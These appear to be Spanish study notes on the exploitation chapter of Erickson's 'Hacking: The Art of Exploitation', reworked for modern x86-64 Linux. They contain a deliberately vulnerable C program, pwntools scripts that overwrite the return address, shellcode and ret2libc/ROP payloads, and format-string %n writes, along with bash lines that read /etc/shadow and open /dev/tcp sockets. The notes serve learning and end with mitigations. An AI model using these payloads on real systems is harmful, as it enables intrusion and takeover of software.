- 0x310 — Técnicas generales de exploit
- 0x320 — Buffer overflows en la pila
- 0x330 — Experimentando con BASH
- 0x340 — Usando el entorno
- 0x350 — Overflows en otros segmentos
- 0x360 — Format string exploits
Erickson agrupa todos los exploits clásicos en una idea central: convertir datos en código. El programa espera datos (un nombre, un nº de credits, una URL), pero por una falta de validación esos datos terminan ejecutándose como código del atacante.
| Vector | Qué se sobrescribe | Capítulo |
|---|---|---|
| Stack overflow clásico | Dirección de retorno (saved RIP) | 0x320 |
| Overflow en BSS/data | Punteros a función, GOT | 0x350 |
| Heap overflow | Metadatos del allocator → write-what-where | 0x350 |
| Format string | %n escribe en cualquier dirección |
0x360 |
Las cuatro técnicas comparten estructura:
- Encontrar la corrupción. Un
strcpy,gets,memcpy,printf(user), etc. - Calcular el offset. ¿Cuántos bytes hay del buffer al puntero objetivo?
- Construir el payload. Datos válidos + relleno + dirección controlada.
- Ejecutar el payload. Por stdin, argv, archivo, red...
- Aterrizar en código del atacante. Shellcode, ROP gadget, libc función...
El libro es de 2008. Linux moderno trae:
- Stack canary (
-fstack-protector-strong, on por defecto). Un valor random entre el buffer y el RIP guardado. Si lo sobrescribes, el programa aborta antes de retornar. Esquive: leak del canary (format string, info leak), reescribir con el mismo valor. - NX / DEP (
-z noexecstack, on por defecto). La pila no es ejecutable; tu shellcode ahí no corre. Esquive: ROP / ret2libc. - ASLR (
/proc/sys/kernel/randomize_va_space=2, on por defecto). Stack, heap y libs en direcciones aleatorias cada ejecución. Esquive: brute force (en 32-bit), info leak, partial overwrite, ret2plt + GOT leak. - PIE (
-pie, on por defecto). El propio binario también está en dirección aleatoria. Esquive: info leak para revelar la base del binario. - RELRO (
-Wl,-z,relro,-z,now, on por defecto). La GOT es read-only tras el dynamic linking. Bloquea GOT overwrite. - FORTIFY_SOURCE (
-D_FORTIFY_SOURCE=2, requiere-O1+). Reemplazastrcpy(dst, src)por una versión con tamaño conocido si el compilador puede deducirlo.
Para reproducir el libro, compilo con -fno-stack-protector -z execstack -no-pie, desactivo ASLR (echo 0 > /proc/sys/kernel/randomize_va_space) y trabajo en x86-64 con la calling convention SysV (primer argumento en rdi, no en la pila).
codigo/0x320/overflow_example.c:
#include <stdio.h>
#include <string.h>
int check_authentication(char *password) {
int auth_flag = 0;
char password_buffer[16];
strcpy(password_buffer, password);
if (strcmp(password_buffer, "supersecret") == 0)
auth_flag = 1;
if (strcmp(password_buffer, "letmein") == 0)
auth_flag = 1;
return auth_flag;
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Uso: %s <password>\n", argv[0]);
return 1;
}
if (check_authentication(argv[1])) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=\n");
printf(" Acceso garantizado.\n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=\n\n");
} else {
printf("\nAcceso DENEGADO.\n");
}
return 0;
}Compilar sin protecciones:
make 0x320
# o explícitamente:
gcc -g -fno-stack-protector -z execstack -no-pie \
codigo/0x320/overflow_example.c -o codigo/0x320/overflow_examplepassword_buffer mide 16 bytes. strcpy copia hasta el null sin comprobar tamaño. Si password mide más de 16 bytes, sobrescribe auth_flag, el RBP guardado, y la dirección de retorno (en ese orden, hacia direcciones más altas).
$ ./codigo/0x320/overflow_example AAAAAAAAAAAAAAAA # 16 A — buffer lleno
Acceso DENEGADO.
$ ./codigo/0x320/overflow_example $(python3 -c 'print("A"*29)') # 29 A — desborda hasta auth_flag
-=-=-=-=-=-=-=-=-=-=-=-=
Acceso garantizado.
-=-=-=-=-=-=-=-=-=-=-=-=¿Por qué 29 y no 21? Porque el compilador moderno reordena las locales y mete padding por alineación de 16 bytes. El binario de auth_overflow.c imprime el offset real:
$ ./codigo/0x320/auth_overflow AAAAA...
[debug] auth_flag @ 0x7ffd...c2c
[debug] password_buffer @ 0x7ffd...c10
[debug] distancia entre ambos: 28 bytes
La distancia es 28 bytes, no 20: el compilador puso auth_flag 12 bytes más arriba del buffer por alineación. Con 29 caracteres el primer byte de auth_flag vale 'A', no cero, y la condición pasa.
Layout real de la pila en check_authentication (medido):
← direcciones altas
+----------------+
| dirección retorno (8 bytes) |
+----------------+
| RBP guardado (8 bytes) |
+----------------+
| auth_flag (4 bytes) | ← offset 28 desde el buffer
+----------------+
| padding (12 bytes) |
+----------------+
| password_buffer (16 bytes) | ← inicio del overflow
+----------------+
← direcciones bajas
Lección: los offsets del libro (escritos para gcc 3 / x86 32-bit) nunca coinciden con los offsets reales en x86-64 + gcc moderno. Siempre hay que medir con un programa instrumentado o con GDB.
$ gdb -q ./codigo/0x320/overflow_example
(gdb) disas check_authentication
...
sub rsp,0x30 ; 48 bytes de stack frame
...
(gdb) break check_authentication
(gdb) run AAAAAAAAAAAAAAAAAAAA
(gdb) x/16xg $rsp
0x7fffffffdc40: 0x4141414141414141 0x4141414141414141 ; password_buffer[0..15]
0x7fffffffdc50: 0x0000000000000000 0x... ; auth_flag + padding
0x7fffffffdc60: 0x00007fffffffdcb0 0x000055555555524d ; saved RBP, saved RIP
Si seguimos copiando, llegamos al saved RIP. Ese valor es la dirección a la que ret saltará al final de la función. Si lo controlamos, controlamos rip.
Calcular el offset:
$ python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"BBBBBBBB")' \
| xargs -0 ./codigo/0x320/overflow_example
Segmentation fault
$ dmesg | tail -1
... ip 0000000042424242 ... ← rip = "BBBBBBBB"Confirmado: con 40 bytes de relleno + 8 bytes de payload, rip cae bajo nuestro control. Lo siguiente es apuntar a algo útil:
- Una función ya presente en el binario (ret2text).
- Una función de libc, p.ej.
system("/bin/sh")(ret2libc — ver 0x340). - Shellcode metido en una variable de entorno (ver 0x340).
- Una cadena de gadgets ROP (ver 0x340/0x600).
#!/usr/bin/env python3
from pwn import *
context.binary = ELF('./codigo/0x320/overflow_example')
context.arch = 'amd64'
OFFSET = 40 # buffer(16) + auth_flag+pad(8) + rbp(8) + alineación
target = p64(context.binary.sym['win']) # función a la que queremos saltar
payload = b'A' * OFFSET + target
p = process([context.binary.path, payload])
p.interactive()El libro mete shellcode dentro del buffer y rellena la parte previa con 0x90 (nop) — un NOP sled. Si la dirección de retorno cae en cualquier punto del sled, el CPU "se desliza" hasta el shellcode.
+------------------+ ← saved RIP, sobrescrito a una dirección dentro del sled
| shellcode |
| ... |
| NOP NOP NOP NOP | ← sled
| NOP NOP NOP NOP |
+------------------+ ← inicio del buffer
Con NX activo (Linux moderno) este truco no funciona: la pila no es ejecutable. Por eso el libro asume -z execstack y por eso en exploits modernos se usa ROP en lugar de shellcode.
Layout del payload:
shellcode = asm(shellcraft.amd64.linux.sh()) # ~44 bytes
sled_size = OFFSET - len(shellcode)
payload = b'\x90' * sled_size + shellcode + p64(addr_into_sled)addr_into_sled se calcula con un leak previo o, sin ASLR, estimando la dirección del buffer en GDB (ojo: GDB cambia las direcciones por su propio entorno; usar getenv para conseguir una dirección estable).
El libro dedica una sección a BASH como herramienta de hacking, no como lenguaje de programación. Las técnicas más útiles:
# 21 A's al programa
./prog $(python3 -c 'print("A"*21)')
# bytes binarios — usar `printf` (no `echo -e` que es no-portable):
./prog $(printf '\x90\x90\xeb\x0a')
# pasarle stdin pero mantener interactiva:
(printf 'AAAA'; cat) | ./prog./prog 3< /etc/shadow # abre /etc/shadow como fd 3 del proceso
exec 4<> /dev/tcp/host/80 # bash abre socket TCP como fd 4/dev/tcp/host/port es un truco de bash: abrir un socket sin necesidad de nc. Útil cuando el target solo tiene bash y no hay herramientas de red.
diff <(curl -s http://a/file) <(curl -s http://b/file)<(cmd) ejecuta cmd y entrega un fd-pipe como si fuera un archivo. Muy útil para comparar outputs sin tocar disco.
./prog < payload.bin # stdin = payload.bin (no spawnea cat)
cat payload.bin | ./prog # mismo efecto, pero con un proceso extra y un pipeImportante para exploits: el primer modo deja el shell padre como controlador del TTY, así que ; cat al final del payload para mantener stdin abierto:
(printf '...payload...'; cat) | ./progUna variable de entorno está en la pila del proceso, en una zona predecible (más arriba de argv). Si exportas una variable larga y enlazas un binario sin PIE, la dirección de esa variable es muy estable entre ejecuciones (cambia solo si cambia el nombre del binario o la longitud del entorno).
export SHELLCODE=$(printf '\x90\x90\x90...') # NOP sled + shellcode
./getenvaddr SHELLCODE ./codigo/0x320/overflow_example
SHELLCODE will be at 0x7fffffffe6d4#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *ptr;
if (argc < 3) {
printf("Uso: %s <ENV_VAR> <programa_objetivo>\n", argv[0]);
return 1;
}
ptr = getenv(argv[1]);
// Ajuste: la dirección de getenv en este programa = la del programa objetivo
// ± diferencia entre los nombres de los ejecutables.
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s estará en %p (cuando lo lea %s)\n", argv[1], ptr, argv[2]);
return 0;
}La fórmula del ajuste viene de cómo Linux coloca el argv en la pila: argv[0] ocupa strlen(argv[0])+1 bytes, alineados al final del bloque de strings, así que cambiar el nombre del binario desplaza todo lo demás. Multiplicar por 2 compensa el desplazamiento que sufre el entorno respecto a argv.
Si NX está activo y no podemos ejecutar shellcode en la pila, saltamos a una función de libc que ya está cargada en memoria. El objetivo favorito es system("/bin/sh").
Pasos en x86-64 (SysV ABI: argumentos en registros):
- Encontrar la dirección de
systemen libc:(gdb) p system $1 = {<text variable, no debug info>} 0x7ffff7e3a290 <__libc_system> - Encontrar la string
"/bin/sh"dentro de libc:y sumar a la base de libc en el proceso.strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep '/bin/sh'
- Como
systemespera el primer arg enrdi, necesitamos un gadgetpop rdi; retpara cargar la dirección de/bin/sh:ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep ': pop rdi ; ret$' | head -3
- Construir el payload:
payload = b'A' * OFFSET payload += p64(pop_rdi_gadget) payload += p64(addr_bin_sh) payload += p64(ret_gadget) # alineación a 16 bytes (movaps en system) payload += p64(system_addr)
Sin esto último (ret extra), system puede crashear con movaps si rsp no está alineado a 16 bytes. Es uno de los gotchas más típicos en exploits modernos x86-64.
Con malloc(), los chunks del heap están encadenados con metadatos (tamaño, flags, free-list). Si escribes más allá del chunk:
- Puedes corromper el header del chunk vecino.
- Si liberas el vecino, el allocator lee tu valor falso.
- Te da un write-what-where: escribir un valor arbitrario en una dirección arbitraria.
Ejemplos clásicos: unlink attack, House of Force, House of Spirit, tcache poisoning. Cada técnica explota una versión distinta del allocator (dlmalloc, ptmalloc, glibc 2.26+).
codigo/0x350/heap_overflow.c tiene un ejemplo simple de corromper un puntero a función adyacente.
La GOT (Global Offset Table) guarda las direcciones reales de funciones de libc resueltas en runtime. Cuando el código llama a printf, el CPU salta a printf@plt, que indirige por la GOT.
Si la GOT no está protegida con full RELRO y conseguimos un write-what-where, sobrescribimos printf@got con la dirección de system. La próxima llamada a printf("/bin/sh") ejecuta system("/bin/sh").
Comprobar RELRO:
checksec --file=binarioSi dice "Partial RELRO", la GOT es escribible. "Full RELRO" → no se puede.
Cuando printf recibe una format string controlada por el atacante, los especificadores leen y escriben memoria.
$ ./fmt '%x %x %x %x'
7fff... 0 7f... 1Cada %x consume un argumento. En SysV x86-64 los primeros 5 argumentos de printf (después del format) están en rsi, rdx, rcx, r8, r9; del 6º en adelante, en la pila. Así que leemos primero registros (a menudo basura), luego pila.
%7$x lee directamente el 7º argumento sin imprimir los anteriores. Imprescindible para exploits estables:
$ ./fmt 'AAAA %7$p'
AAAA 0x4141414141414141 ← nuestras A's están en la posición 7$ ./fmt $'\x10\xc0\x60\x00\x00\x00\x00\x00 lee: %7$s'
... lee: <contenido de la dirección 0x60c010>Con esto leemos cualquier dirección — útil para leakar el canary, leakar libc base (vía GOT), etc.
%n escribe en la dirección apuntada por su argumento el nº de bytes ya impresos. Combinado con %Nx para inflar el contador, escribimos cualquier valor:
target = 0x404040
value = 0xdeadbeef
payload = p64(target)
payload += b'%' + str(value - 8).encode() + b'd' # imprime relleno hasta 0xdeadbeef bytes
payload += b'%7$n' # escribe el contador en targetPara valores grandes esto es lentísimo. Solución: escribir dos bytes a la vez con %hn (half-word):
%hn → 2 bytes
%hhn → 1 byte
%n → 4 bytes
Ejemplo: escribir 0xdeadbeef en 0x404040 se hace como dos %hn a 0x404040 (low half = 0xbeef) y 0x404042 (high half = 0xdead), padding con %0Nx.
codigo/0x360/fmt_vuln.c (programa vulnerable) y codigo/0x360/exploit.py (exploit que usa %n para sobrescribir una variable).
-Wformat-securityen gcc detectaprintf(user_input)en compile-time. (Nuestro Makefile usa-Wno-format-securitypara que el código del libro compile.)- FORTIFY_SOURCE convierte
printf("%s", x)literal aputs(x), pero no protege contra format string si el primer arg es runtime. - En código nuevo: siempre
printf("%s", buf), nuncaprintf(buf). Misma regla parasyslog,fprintf,snprintf.
Siguiente: 0x400 — Networking.